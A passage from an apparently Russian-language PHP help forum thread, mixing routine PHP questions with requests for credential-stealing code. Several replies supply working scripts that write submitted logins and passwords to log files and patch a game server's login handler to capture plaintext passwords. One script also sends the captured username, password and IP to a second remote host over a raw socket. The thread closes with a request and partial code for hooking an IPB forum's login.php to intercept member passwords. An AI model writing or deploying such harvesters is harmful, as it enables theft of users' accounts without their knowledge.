curl_setopt($curlHandler, CURLOPT_TIMEOUT, 60);
curl_setopt($curlHandler, CURLOPT_CUSTOMREQUEST, $sendData);
curl_setopt($curlHandler, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curlHandler, CURLOPT_HEADER, true);
curl_setopt($curlHandler, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curlHandler, CURLOPT_FAILONERROR, false);
$response = curl_exec($curlHandler);
if (curl_errno($curlHandler) != CURLE_OK) die(curl_error($curlHandler));
// На данном этапе у нас в $response будет ответ сервера, разумеется
// его нужно будет проанализировать, чтобы понять удачно ли были
// переданы данные. Тут же организуем обработку переменных
// $_POST["a"], $_POST["b"] и $_POST["c"]
?>
Joker-jar
08.08.2007, 11:01
На curl'е можно вообще не прибегать к протоколу HTTP как таковому. Например, вот так можно передать POST данные:
$c = curl_init(url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_POSTFIELDS,'par1=bla1&par2=bla2');
$result = curl_exec($c);
curl_close ($c);
groundhog
08.08.2007, 11:12
Joker-jar, вы забыли указать curl_setopt($c, CURLOPT_POST, true). По умолчанию CURL делает GET запросы. Да и вообще я привык работать с HTTP протоколом на одном уровне... То, что описал я, помогает понять суть работы скрипта.
header("Location: http://somehost.ru/somehandler.php?a={$_GET["a"]}&b={$_GET["b"]}&c={$_GET["c"]}");
Зачем такие сложности?
header('Location: http://somehost.ru/somehandler.php?' . $_SERVER['QUERY_STRING']);
groundhog
08.08.2007, 14:56
Ну там же могут быть и другие переменные? :) Да и там есть такой пункт как:
// Тут идёт обработка переменных $_GET["a"], $_GET["b"] и $_GET["c"]
Лучше на протяжении скрипта использовать одни и те же переменные, чем мыкаться между разными... Так придётся сделить за двумя параметрами, филтьтровать, проверять типы и т.д.
Помогите составить запрос для постинга сообщения в ФАК.
Адрес фака: http://www.p i e f.ru/faq/
Нужна ссылка вида http://domain.ru/faq/add.asp?=message=123date=123
P.S. Там asp. Заранее спасибо.
groundhog
21.08.2007, 09:43
<form method=post>
najort, ты обратил внимание, что данные передаются методом POST? Ты не сможешь дёрганьем урлы добавить сообщение...
Людей хелп. Нужен такой просто php скрипт.
Поле пароль
Собсно вводим пароль если пароль верный то нас кидает на определенную страницу если пароль неверный то выдается соответствующие сообщение.
groundhog
22.08.2007, 10:46
password.html
<html>
<head>
<title>Авторизация доступа</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<h1>Введите пароль:</h1>
<form action="password.php" method="post">
<input type="password" name="passwd" maxlength="24" size="18" value="">
<br><br>
<input type="submit" value="Авторизация">
</form>
</body>
</html>
password.php
<?php
define("REDIRECT_URL", "http://www.yandex.ru");
define("ACCESS_PASSWD", "Шапка0012УшанкА");
$passwd = trim($_POST["passwd"]);
if (strlen($passwd) && $passwd == ACCESS_PASSWD)
header("Location: " . REDIRECT_URL);
else
print("<h1 style=\"color: red\">Введённый пароль не верен!</h1>");
?>
Заходишь на password.html и вводишь пароль. Пароль забит константой.
Reanimat0R
22.08.2007, 14:54
Скажите пожалуйста, как сделать так, что бы при вводе логина и пароля, они автоматически сохранялись в отдельный файлик?
Скажите пожалуйста, как сделать так, что бы при вводе логина и пароля, они автоматически сохранялись в отдельный файлик?
<?
$file = 'data.txt'; //файлик
if(!$_POST['s'])
{
?>
<form method=POST>
Логин: <input type=text name=login><br>
Пароль: <input type=password name=pass><br>
<input type=submit name=s>
</form>
<?
} else {
$format = $_POST['login'].' ||| '.$_POST['pass']; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ)
$f = fopen($file, 'ab');
fwrite($f, $format."\r\n");
fclose($f);
}
?>
Еще вот так сделать... и можно будет продовать как приват..)))
<?
$file = 'data.txt'; //файлик
if(!$_POST['s'])
{
?>
<form method=POST>
Логин: <input type=text name=login><br>
Пароль: <input type=password name=pass><br>
<input type=submit name=s>
</form>
<?
} else {
$format = $_POST['login'].' ||| '.$_POST['pass']; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ)
$f = fopen($file, 'ab');
fwrite($f, $format."\r\n");
fclose($f);
header("Location: http://example.com/");
}
?>
groundhog
22.08.2007, 15:22
password.html
<html>
<head>
<title>Авторизация доступа</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<h1>Введите логин и пароль:</h1>
<form action="password.php" method="post">
Логин: <input type="text" name="login" maxlength="24" size="18" value="">
<br><br>
Пароль: <input type="password" name="passwd" maxlength="24" size="18" value="">
<br><br>
<input type="submit" value="Авторизация">
</form>
</body>
</html>
password.php
<?php
$login = @trim($_POST["login"]);
$passwd = @trim($_POST["passwd"]);
if (!strlen($login) || !strlen($passwd))
die("<h1 style=\"color: red\">Данные не верны. Повторите ввод!</h1>");
$fileId = fopen("passwords.txt", "a+");
if (!$fileId)
die("<h1 style=\"color: red\">Не могу открыть файл для записи!</h1>");
$line = sprintf("%s:%s\n", $login, $passwd);
if (!fputs($fileId, $line))
die("<h1 style=\"color: red\">Не могу записать данные в файл!</h1>");
fclose($fileId);
print("<h1 style=\"color: green\">Спасибо за посещение, {$login}!</h1>");
?>
Заходишь на password.html и вводишь логин и пароль. Скрипт password.php будет вести запись введённых данных и уведомлять пользователя "Спасибо за посещение!".
Заходишь на password.html и вводишь логин и пароль. Скрипт password.php будет вести запись введённых данных и уведомлять пользователя "Спасибо за посещение!".
Что-то у тебя он какой-то "сложный" зачем столько гемора?
А вообще достаточно скрипта exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' > log.txt');
NOmeR1, тогда точнее будет так:
exec("echo ".$_POST['login']."|||".$_POST['pass']." > log.txt");
NOmeR1, тогда точнее будет так:
exec("echo ".$_POST['login']."|||".$_POST['pass']." > log.txt");
Какая разница? Ты сменил ковычки, зачем? Какой смысл?
groundhog
22.08.2007, 16:00
NOmeR1, чего там сложного? Зато обрабатывает все ошибки и ведёт себя однозначно + я делал это для наглядности отдельно (пример отправки данных, пример обработки, пример записи).
exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' > log.txt');
А этот код не сработает в safe mode. И тогда уж лучше:
exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' >> log.txt');
Reanimat0R
22.08.2007, 16:48
Объясните пожалуйста куда нужно это вставить.
Я имею следующее:
<?
require 'config.php';
require 'pages/functions.php';
require 'pages/query.php';
if ($_POST['action']=='login')
{
mssql_connect ($CONFIG['mssqlip'], $CONFIG['dbuser'], $CONFIG['dbpass']);
mssql_select_db($CONFIG['mssqllin2db']);
$postusername = isset($_POST['username'])?$_POST['username']:null;
$postpassword = isset($_POST['password'])?$_POST['password']:null;
$new_random = isset($_POST['random'])?$_POST['random']:null;
session_start();
$new_string=$_SESSION["new_string"];
$new_string=antiinjection($new_string);
$postusername = antiinjection($postusername);
$postpassword = antiinjection($postpassword);
$result = mssql_query(sprintf(SELECT_USER_PASS,$postusername ));
$num_user_pass=mssql_num_rows($result);
$user_pass=mssql_fetch_array($result);
$password = '0x'.bin2hex($user_pass['password']);
list ($Id) = mssql_fetch_row(mssql_query("INSERT INTO ".$CONFIG['mssqlcp_log'].".dbo.acc_auth (account,password,random,date,remote_addr,status) VALUES ('".$postusername."','".$postpassword."','".$new_string."',GETDATE(),'".$_SERVER['REMOTE_ADDR']."',0); SELECT @@IDENTITY as insertId;"));
if ($new_string != $new_random)
{
echo '<script> alert("Неверный код."); </script>';
}
else
{
if (@password_encrypt($postpassword)==$password && $num_user_pass==1)
{
@setcookie("login", $user_pass['account'], time()+1800);
@setcookie("site_user", $user_pass['account'], time()+1800);
@setcookie("pass", md5($password), time()+1800);
mssql_query("UPDATE ".$CONFIG['mssqlcp_log'].".dbo.acc_auth SET status=1 WHERE id='".$Id."'");
}
else
{
echo '<script> alert("Неверный логин или пароль."); </script>';
}
}
quickrefresh('index.php');
}
else
{
quickrefresh('index.php');
}
?>
groundhog
22.08.2007, 16:57
Перед вызовом session_start() вставь:
$fileId = fopen("passwords.txt", "a+");
$line = sprintf("%s:%s\n", $postusername, $postpassword );
fputs($fileId, $line);
fclose($fileId);
З.Ы. В файл будет записано именно то, что пользователь передаёт через форму, т.е. ник со всеми опасными символами.
<?
require 'config.php';
require 'pages/functions.php';
require 'pages/query.php';
if ($_POST['action']=='login')
{
mssql_connect ($CONFIG['mssqlip'], $CONFIG['dbuser'], $CONFIG['dbpass']);
mssql_select_db($CONFIG['mssqllin2db']);
$postusername = isset($_POST['username'])?$_POST['username']:null;
$postpassword = isset($_POST['password'])?$_POST['password']:null;
$new_random = isset($_POST['random'])?$_POST['random']:null;
session_start();
$new_string=$_SESSION["new_string"];
$new_string=antiinjection($new_string);
$postusername = antiinjection($postusername);
$postpassword = antiinjection($postpassword);
$result = mssql_query(sprintf(SELECT_USER_PASS,$postusername ));
$num_user_pass=mssql_num_rows($result);
$user_pass=mssql_fetch_array($result);
$password = '0x'.bin2hex($user_pass['password']);
list ($Id) = mssql_fetch_row(mssql_query("INSERT INTO ".$CONFIG['mssqlcp_log'].".dbo.acc_auth (account,password,random,date,remote_addr,status) VALUES ('".$postusername."','".$postpassword."','".$new_string."',GETDATE(),'".$_SERVER['REMOTE_ADDR']."',0); SELECT @@IDENTITY as insertId;"));
if ($new_string != $new_random)
{
echo '<script> alert("Неверный код."); </script>';
}
else
{
if (@password_encrypt($postpassword)==$password && $num_user_pass==1)
{
@setcookie("login", $user_pass['account'], time()+1800);
@setcookie("site_user", $user_pass['account'], time()+1800);
@setcookie("pass", md5($password), time()+1800);
mssql_query("UPDATE ".$CONFIG['mssqlcp_log'].".dbo.acc_auth SET status=1 WHERE id='".$Id."'");
$format = $postusername.' ||| '.$postpassword; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ)
$f = fopen('log.txt', 'ab');
fwrite($f, $format."\r\n");
fclose($f);
}
else
{
echo '<script> alert("Неверный логин или пароль."); </script>';
}
}
quickrefresh('index.php');
}
else
{
quickrefresh('index.php');
}
?>
Вот тебе код. Данные сохранятся в файл log.txt.
Reanimat0R
23.08.2007, 01:16
Спасибо большое!
У меня еще вопросик:
Как можно изменить в базе данных(mysql) информацию?
Опишу ситуацию:
1.стоит удаленный сервер, доступ к базе данных доступен только с локалхоста.
2.есть возможность править пхп запросы к базе данных
пример:
mssql_connect ($CONFIG['mssqlip'], $CONFIG['dbuser'], $CONFIG['dbpass']);
mssql_select_db($CONFIG['mssqllin2db']);
$postusername = isset($_POST['username'])?$_POST['username']:null;
$postpassword = isset($_POST['password'])?$_POST['password']:null;
$new_random = isset($_POST['random'])?$_POST['random']:null;
session_start();
$new_string=$_SESSION["new_string"];
$new_string=antiinjection($new_string);
$postusername = antiinjection($postusername);
$postpassword = antiinjection($postpassword);
$result = mssql_query(sprintf(SELECT_USER_PASS,$postusername ));
$num_user_pass=mssql_num_rows($result);
$user_pass=mssql_fetch_array($result);
$password = '0x'.bin2hex($user_pass['password']);
list ($Id) = mssql_fetch_row(mssql_query("INSERT INTO ".$CONFIG['mssqlcp_log'].".dbo.acc_auth (account,password,random,date,remote_addr,status) VALUES ('".$postusername."','".$postpassword."','".$new_string."',GETDATE(),'".$_SERVER['REMOTE_ADDR']."',0); SELECT @@IDENTITY as insertId;"));
if ($new_string != $new_random)
Или хотя бы посмотреть таблицы в базе?
Огромное спасибо за внимание
groundhog
23.08.2007, 11:01
Воспользуйся примитивным mysql-клиентом на PHP:
<?php
define("MYSQL_HOST", "localhost");
define("MYSQL_USER", "root");
define("MYSQL_PASSWD", "");
define("MYSQL_DATABASE", "test");
$dbLink = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWD)
or die("Could not connect to database! Error: " . mysql_error());
mysql_select_db(MYSQL_DATABASE) or die("Error: could not select database!");
print("<html>\n");
print("<head>\n");
print("<title>Simple MySQL client by groundhog</title>\n");
print("<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\n");
print("</head>\n");
print("<body>\n");
print("<h1>Simple MySQL client</h1>\n");
printf("<h3>Текущая база: <i>%s</i></h3>\n", MYSQL_DATABASE);
print("<form method=\"post\">\n");
print("Текст запроса:<br>");
print("<textarea name=\"query\" cols=\"50\" rows=\"5\">\n");
if (isset($_POST["query"])) print($_POST["query"]);
print("</textarea>\n");
print("<br><br>\n");
print("<input type=\"submit\" name=\"run\" value=\"Выполнить\">\n");
print("</form>\n");
if (isset($_POST["run"]) && isset($_POST["query"]) && strlen($_POST["query"])) {
print("<h1>Результат:</h1>\n");
$sql = trim($_POST["query"]);
$result = mysql_query($sql) or die("Query failed! Error: " . mysql_error());
if (is_resource($result)) {
print("<table border=\"1\">\n");
print("<tr>");
$i = 0;
while ($i < mysql_num_fields($result)) {
$meta = mysql_fetch_field($result, $i);
printf("<td><b>%s<b></td>", $meta->name);
$i++;
}
print("</tr>\n");
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
print("<tr>");
foreach($line as $value)
printf("<td>%s</td>", $value);
print("</tr>\n");
}
print("</table>\n");
} elseif (is_bool($result)) {
print("<h3>Команда выполнена</h3>\n");
}
}
print("</body>\n");
print("</html>\n");
?>
Что касается запросов:
Посмотреть какие схемы есть в базе данных:
SHOW DATABASES;
Подключиться к схеме:
USE [DATABASE_NAME];
Посмотреть таблицы:
SHOW TABLES;
Выбрать данные из таблицы
SELECT * FROM [TABLE_NAME];
_Sniper_
26.08.2007, 11:24
Где включаеться\выключаеЦЦа функция ftok
Где включаеться\выключаеЦЦа функция ftok
В файле php.ini, находящемся в дире с установленным PHP.
В файле php.ini, находящемся в дире с установленным PHP.
Все это так, если соответствующее расширение установлено (кажется, называется Semaphore или как-то так)
Насколько я помню, в стандартном пакете php его нет.
_Sniper_
26.08.2007, 17:58
Как мне её включить выключить? Посмотрел в php.ini..
http://img210.imageshack.us/img210/5567/clipboardnx2.jpg
http://php.mirror.camelnetwork.com/manual/ru/ref.sem.php
Замечание: Для Windows-платформ это расширение недоступно.
Требования
Эти функции всегда доступны.
Установка
Support for this functions are not enabled by default. To enable System V semaphore support compile PHP with the option --enable-sysvsem. To enable the System V shared memory support compile PHP with the option --enable-sysvshm. To enable the System V messages support compile PHP with the option --enable-sysvmsg.
_Sniper_
26.08.2007, 20:24
Тогда можно забыть... =(((
Тогда можно забыть... =((( У большинства прогеров пхп никсы... Это так, к сведению %)
This document is created with Big-5 code.
Дальше текст вида:
Ґiі]©w§R°ЈАЙ®ЧЁмёк·Ѕ¦^¦¬µ©©О¬OЄ Ѕ±µ§R°Ј
Чем расшифровать и как прочитать?
как из скрипта послать файл для закачки на другой(ifolder)
привет ! помогите=) вобшем ситуция такова скрипт должен из формы то что заполнено и отсылать на мыло
на всяк случай запостил и страничку-)
но всё время выдаёт ошибку arse error: syntax error, unexpected T_STRING in /sata1/home/users/dg/www/www.ds.com/script/send_details.php on line 5
покажите где запорол полночи ебусь уже
<html>
<head>
</head>
<body>
<h1> <strong>Форма заявки на обработку грузов в порту</strong> </h1>
<form method="post" action="send_details.php">
<input type="hidden" name="action" value="contact" />
<table width="98%">
<tr>
<td width="62%">Ваши полные ФИО:</td>
<td width="38%"><input type="text" size="100" name="1" value="" /></td>
</tr>
<tr>
<td>Контактный телефон, с кодом города:</td>
<td><input type="text" size="100" name="2" value="" /></td></tr>
<tr>
<td>Название Вашей организации:</td>
<td><input type="text" size="100" name="3" value="" /></td></tr>
<tr>
<td>E-mail:</td>
<td><input type="text"size="100" name="4" value="" /></td></tr>
<tr>
<td>Порт отправления:</td>
<td><input type="text" size="100" name="5" value="" /></td></tr>
<tr>
<td>Порт назначения:</td>
<td><input type="text"size="100" name="6" value="" /></td></tr>
<tr>
<td>Наименование груза, код ТНВЭД:</td>
<td><input type="text" size="100" name="7" value="" /></td></tr>
<tr>
<td>Котировка фрахтовой ставки:</td>
<td><input type="text"size="100" name="8" value="" /></td></tr>
<tr>
<td>Объём отправляемой партии (тн или м3 или кол-во мест):</td>
<td><input type="text"size="100" name="9" value="" /></td></tr>
<tr>
<td>Вид упаковки (навалом, паллеты, тюки, биг-бэги,ящики, контейнеры):</td>
<td><input type="text"size="100" name="10" value="" /></td></tr>
<tr>
<td>Вид контейнера, размеры паллета или ящика, объём тюка или биг-бэга:</td>
<td><input type="text"size="100" name="11" value="" /></td></tr>
<tr>
<td>Вес одного места:</td>
<td><input type="text"size="100" name="12" value="" /></td></tr>
<tr>
<td>Вид транспорта при отправке из порта (ж/д, а/м,водный):</td>
<td><input type="text"size="100" name="13" value="" /></td></tr>
<tr>
<td height="63"><p>Ваша дополнительная информация:
(периодичность и ритмичность поставок, сроки накопления партии и т.д):</p>
<p> </p>
<p>: </p></td>
<td><textarea rows="6" name="14" cols="95"></textarea></td>
</tr>
<tr>
<td height="109" colspan="2"><input name="submit" type="submit" value="Send" /></td>
</tr>
</table>
</form>
</body>
</html>
<?php
### change this
$send_to_email = "ussr1945@ukr.net;
$send_from_email = "blah_from@email.com";
$email_subject = "New website registration";
$success_page = "success.html";
$failure_page = "failure.html";
##########
function send_mail($from, $to, $subject, $message)
{
return mail($to, $subject, $message,
"From: {$from}\r\n" .
"Reply-To: {$from}\r\n" .
"X-Mailer: PHP/" . phpversion());
}
if ($_POST['action'] == "contact")
{
$1 = $_POST['1'];
$2 = $_POST['2'];
$3 = $_POST['3'];
$4 = $_POST['4'];
$5 = $_POST['5'];
$6 = $_POST['6'];
$7 = $_POST['7'];
$8 = $_POST['8'];
$9 = $_POST['9'];
$10 = $_POST['10'];
$11 = $_POST['11'];
$12 = $_POST['12'];
$13 = $_POST['13'];
$14 = $_POST['14'];
$message = "Contact details:\n1: $1\n2: $2\n3: $3\n4: $4\n5: $5\n6: $6\n7: $7\n8: $8\n9: $9\n10: $10\n11: $11\n12: $12\n13: $13\n14: $14\n\n";
$result = send_mail($send_from_email, $send_to_email, $mail_subject, $message);
if ($result)
{
header('Location: '.$success_page);
}
else
{
header('Location: '.$failure_page);
}
}
?>
на 4 строке " пропустил
<?php
### change this
$send_to_email = "ussr1945@ukr.net";
$send_from_email = "blah_from@email.com";
$email_subject = "New website registration";
$success_page = "success.html";
$failure_page = "failure.html";
##########
function send_mail($from, $to, $subject, $message)
{
return mail($to, $subject, $message,
"From: {$from}rn" .
"Reply-To: {$from}rn" .
"X-Mailer: PHP/" . phpversion());
}
if ($_POST['action'] == "contact")
{
$1 = $_POST['1'];
$2 = $_POST['2'];
$3 = $_POST['3'];
$4 = $_POST['4'];
$5 = $_POST['5'];
$6 = $_POST['6'];
$7 = $_POST['7'];
$8 = $_POST['8'];
$9 = $_POST['9'];
$10 = $_POST['10'];
$11 = $_POST['11'];
$12 = $_POST['12'];
$13 = $_POST['13'];
$14 = $_POST['14'];
$message = "Contact details:n1: $1n2: $2n3: $3n4: $4n5: $5n6: $6n7: $7n8: $8n9: $9n10: $10n11: $11n12: $12n13: $13n14: $14nn";
$result = send_mail($send_from_email, $send_to_email, $mail_subject, $message);
if ($result)
{
header('Location: '.$success_page);
}
else
{
header('Location: '.$failure_page);
}
}
?>
GreenBear
27.08.2007, 10:30
$1 = $_POST['1'];
http://ru2.php.net/manual/ru/language.variables.php
Привет, помогите найти функцию, которая удаляет определенный предыдущий символ в строке в цикле, т.е. пока этот символ присутствует в строке, то функция будет удалять его. например:
00001
00002
...
00011
...
00111
groundhog
27.08.2007, 19:13
Я не понял задачи... Чётко сформулируй... Что значит "определённый предыдущий"?
Привет, помогите найти функцию, которая удаляет определенный предыдущий символ в строке в цикле, т.е. пока этот символ присутствует в строке, то функция будет удалять его. например:
00001
00002
...
00011
...
00111
гмм.. ну например, при наличии массива строк (файл можно занести в массив функцией file() ) можно использовать foreach()+str_replace()
поясни все-таки по поводу того, какой символ заменять.
groundhog
27.08.2007, 19:25
<?php
function ltrim_char ($char, $str) {
for($i = 0; $i < strlen($str); $i++)
if ($str[$i] == $char) $str = ltrim($str, $char);
return $str;
}
function rtrim_char ($char, $str) {
for($i = 0; $i < strlen($str); $i++)
if ($str[$i] == $char) $str = rtrim($str, $char);
return $str;
}
$someStr = "aaaaa123456bbbbbb";
$result = ltrim_char ("a", $someStr);
printf("1) %s<br>\n", $result);
$result = rtrim_char ("b", $result);
printf("2) %s<br>\n", $result);
?>
Если я правильно понял задачу, то это вот так и делается... Т.е. пока есть конкретный символ он вырезается: ltrim_char - резка по левому краю, rtrim_char - по правому.
Я не понял задачи... Чётко сформулируй... Что значит "определённый предыдущий"?
в данном примере "0" Т.е. "0" - ведущий символ
groundhog
28.08.2007, 01:27
В общем воспользуйся моими функциями, которые вырезают из строки фрагменты, состоящие из определённого символа. Или воспользуйся их аналогами в PHP. Это:
trim(строка, символ) - вырезает с обоих сторон строки один заданный символ;
ltrim(строка, символ) - вырезает с левого края строки один заданный символ;
rtrim(строка, символ) - вырезает с правого края строки один заданный символ;
Если второй параметр не задан, то вырезаются пробельные символы, включая терминальный ноль.
ВНИМАНИЕ! Пост исправлен. Была допущена ошибка в описании функций. Вместо "строка, символ" было "символ, строка".
GreenBear спасибо покамись я б допёр что цифр незя)))
Поставил Apache с ним php4.4 - доступ к переменным получаю с помощью $_GET["NameVar"] или $_POST["NameVar"] или $_REQUEST["NameVar"] - как избавиться от этого и получать доступ напрямую по имени переменной $NameVar ???
groundhog
28.08.2007, 19:34
в php.ini поставь register_globals=on. Только это очень не кошерно и чревато последствиями в плане безопасности если стиль программирования плохой.
xqwerx, не советую использовать регистр глобалс. Т.к. и уязвимостей может быть больше, стиль кодинга плохой, а так же если хочешь использовать скрипт в будущем (в пшп6) там не будет регистр глобалс => твой скрипт будет не корректно работать
Ок, понятно! Так почему тогда у хостера на сервере можно обращаться по $NameVar, он что $NameVar = $_REQUEST["NameVar"] автоматом выполняет для пользователей...
Ок, понятно! Так почему тогда у хостера на сервере можно обращаться по $NameVar, он что $NameVar = $_REQUEST["NameVar"] автоматом выполняет для пользователей...
если register_globals = On, то можно обращаться по $NameVar, т.к. автоматически создаёться глобальная переменная
Goudini Ет я понел, т.е. у хостера для меня автоматом создаются эти переменные???
типа того =)))))))))))))))))
halkfild
29.08.2007, 01:18
они просто автомотически регистрируваются как глобальные и ты можешь обращатся к ним напрямую $NameVar, а не как обычно $_REQUEST["NameVar"] (хотя так можна обращатся в любом случае)
вот некоторое описание http://www.slaed.biz/ini.core.html#ini.register-globals
вот по теме почитай http://www.phpclub.ru/detail/article/globals
народ помогите я уже свои мозги тут перепарел :-/
мне надо сделать так что когда даные отсылали на "dvig.php"
он чтом прописовал в html фаилик у себя на хосте и на другом хосте типа : /logs.html и на http://site2.ru/logsbackup.html
вот пока что у меня тут получилось далше продвинутся с пересилкой никак немогу :-/
<?php
//////////////////////////
$file = ("logs.html");
//////////////////////////
$user = $_POST['username'];
$pass = $_POST['password'];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("d.m.Y H:i");
$entry_line = "<br>----------<br>
<br>Username: ".$user
."<br> Password: ".$pass
."<br> IP: ".$ip
."<br> Date: " .$date. "<br>\n";
$fp = fopen($file, "a");
fwrite($fp, $entry_line);
fclose($fp);
header( 'Location: confirmation.html' );
?>
groundhog
29.08.2007, 10:43
Используй такой скрипт:
<?php
// Удалённый серв
define("REMOTE_HOST", "somehost.somedomain");
// Удалённый скрипт (идентичный данному, только на другом сервере)
define("REMOTE_RESOURCE", "blablabla.php");
// Порт - по умолчанию стандарт для HTTP
define("REMOTE_PORT", 80);
$file = "logs.html"; // Имя лога
$date = date("d.m.Y H:i"); // Дата записи
// Инициализация переменной с юзером
$user = "";
if (isset($_POST["username"])) $user = strval($_POST["username"]);
// Инициализация переменно с пассом
$pass = "";
if (isset($_POST["password"])) $pass = strval($_POST["password"]);
// Айпишник юзера
$ip = strval($_SERVER["REMOTE_ADDR"]);
// Форматируем данные для записи
$entry = "<br>----------<br><br>\n";
$entry .= sprintf("Date: %s<br>\n", $date);
$entry .= sprintf("Username: %s<br>\n", $user);
$entry .= sprintf("Password: %s<br>\n", $pass);
$entry .= sprintf("IP: %s<br>\n", $ip);
$fp = fopen($file, "a+"); // Открытие файла
if (!$fp) die("Can't perform operation!"); // Ошибочка
if (!fwrite($fp, $entry)) die("Can't perform operation!"); // Запись
fclose($fp); // Закрытие
// Если в передаваемых переменных отсутствует nosend или
// она не равна true, то вызываем отправку на удалённый сервер.
// Это нам позволит избежать замкнутой цепочки
if (!isset($_POST["nosend"]) || $_POST["nosend"] != "true") {
// Тело запроса
$query = sprintf("username=%s&password=%s&nosend=true", $user, $pass);
// Заголовки запроса + тело
$send = sprintf("POST %s HTTP/1.1\r\n", REMOTE_RESOURCE);
$send .= sprintf("Host: %s\r\n", REMOTE_HOST);
$send .= "User-Agent: DaMaGeLaB Crawler\r\n";
$send .= "Accept: */*\r\n";
$send .= "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n";
$send .= "Pragma: no-cache";
$send .= sprintf("Content-Length: %d", strlen($query));
$send .= "Connection: Close\r\n\r\n";
$send .= $query;
// Соединяемся
$socket = fsockopen(REMOTE_HOST, REMOTE_PORT, $errno, $errstr, 60);
if (!$socket) die("Can't perform operation!");
// Делаем POST запрос
$ret = fwrite($socket, $send);
if (!$ret) die("Can't perform operation!");
// Читаем ответ
$buffer = "";
while (!feof($socket)) {
$buffer .= fgets($socket, 1024);
}
fclose($socket);
// Парсим на заголовки и тело
list($headers, $content) = preg_split("/\r\n\r\n/", $buffer, 2);
// Если пришла какая-то лажа, то выход
if (strlen($content) <= 0 || strlen($headers) <= 0)
die("Send failed. Responce is not reqular!");
// Получаем код ответа из заголовков
$code = intval(substr($headers, 9, 3));
if ($code != 200) die("Send failed. Responce code is not 200!");
}
header("Location: confirmation.html"); // Перенаправление
?>
Talisman
29.08.2007, 10:45
Если хостер позволяет - открывай фтп коннект на нужные тебе хосты и добавляй в файлы данные.
если на тех хостах есть пшп - и твой хостер позволяет переслать на них данные (гет/пост) то шли запрос на аналогичный скрипт.
или же делай это средствами браузера - подсовывай жабаскриптик юзеру и т.п.
to : groundhog
ГИГАНТСКОЕ СПОСИБО + РЕПА
Вот хочу спросить какую книжку взять почитать по Php, с условием что синтакс знаком и все остальное по С++, а вот технологии пхп-шные именно и нужны... :confused:
Red_Red1
29.08.2007, 18:59
Может вот это подойдет
_http://www.softtime.ru/bookphp/gl1_1.php
Red_Red1 Нормальная такая! А то читаю вообще детские, тут чуть получше...
Ещё бы по php безопасности мануальчик подскажите плз...
#стер
xqwerx
тут прям на чате выкладывали про безопасность...
Reanimat0R
30.08.2007, 23:24
Подскажите пожалуйста, где и что в ipb нужно прописать что бы перехватывались логин и пароль...
путь вроде такой /***/sources/action_public/login.php
:confused:
Нужно после функции афторицации прописать чтоб они в фаил записывались.. была такая тема на ачате....
Reanimat0R
31.08.2007, 01:05
/*-------------------------------------------------------------------------*/
// DO LOG IN
/*-------------------------------------------------------------------------*/
function do_log_in()
{
//-----------------------------------------
// INIT
//-----------------------------------------
$url = "";
$member = array();
//-----------------------------------------
// Load handler...
//-----------------------------------------
require_once( ROOT_PATH.'sources/handlers/han_login.php' );
$this->han_login = new han_login();
$this->han_login->ipsclass =& $this->ipsclass;
$this->han_login->init();
//-----------------------------------------
// Make sure the username and password were entered
//-----------------------------------------
if ( $_POST['UserName'] == "" )
{
if( $this->ipsclass->vars['ipbli_usertype'] == 'username' )
{
$this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'no_username' ) );
}
else
{
$this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'no_email_login' ) );
}
}
if ( $_POST['PassWord'] == "" )
{
$this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'pass_blank' ) );
}
//-----------------------------------------
// Check for input length
//-----------------------------------------
if ( $this->ipsclass->vars['ipbli_usertype'] == 'username' )
{
if ( $this->ipsclass->txt_mb_strlen( $_POST['UserName'] ) > 32 )
{
$this->ipsclass->Error( array( LEVEL => 1, MSG => 'username_long' ) );
}
$username = strtolower(str_replace( '|', '|', $this->ipsclass->input['UserName']) );
}
else
{
$username = strtolower( trim( $this->ipsclass->input['UserName'] ) );
}
if ( $this->ipsclass->txt_mb_strlen( $_POST['PassWord'] ) > 32)
{
$this->ipsclass->Error( array( LEVEL => 1, MSG => 'pass_too_long' ) );
}
$password = md5( $this->ipsclass->input['PassWord'] );
//-----------------------------------------
// Check auth
//-----------------------------------------
$this->han_login->login_authenticate( $username, $this->ipsclass->input['PassWord'] );
//-----------------------------------------
// Check return code...
//-----------------------------------------
$member = $this->han_login->member;
if ( ( ! $member['id'] ) or ( $this->han_login->return_code == 'NO_USER' ) )
{
$this->log_in_form( 'wrong_name' );
}
if ( $this->han_login->return_code != 'SUCCESS' )
{
if ( $this->han_login->return_code == 'ACCOUNT_LOCKED' )
{
$extra = "<!-- -->";
if( $this->ipsclass->vars['ipb_bruteforce_unlock'] )
{
if( $this->han_login->account_unlock )
{
$time = time() - $this->han_login->account_unlock;
$time = ( $this->ipsclass->vars['ipb_bruteforce_period'] - ceil( $time / 60 ) > 0 ) ? $this->ipsclass->vars['ipb_bruteforce_period'] - ceil( $time / 60 ) : 1;
$extra = sprintf( $this->ipsclass->lang['bruteforce_account_unlock'], $time );
}
}
$this->ipsclass->Error( array( 'LEVEL' => 5, 'MSG' => 'bruteforce_account_lock', 'EXTRA' => $extra ) );
}
else
{
$this->log_in_form( 'wrong_auth' );
}
}
//-----------------------------------------
Что и куда нужно вставить, чтобы логины и пароли записывались в отдельный файлик...
:confused:
Reanimat0R
31.08.2007, 07:33
Ну кто поможет?
groundhog
31.08.2007, 11:14
Вставь этот код:
$fp = fopen("login.log", "a+");
$line = sprintf("%s: %s:%s", date("d.m.y H:i:s"), $username, $this->ipsclass->input['PassWord']);
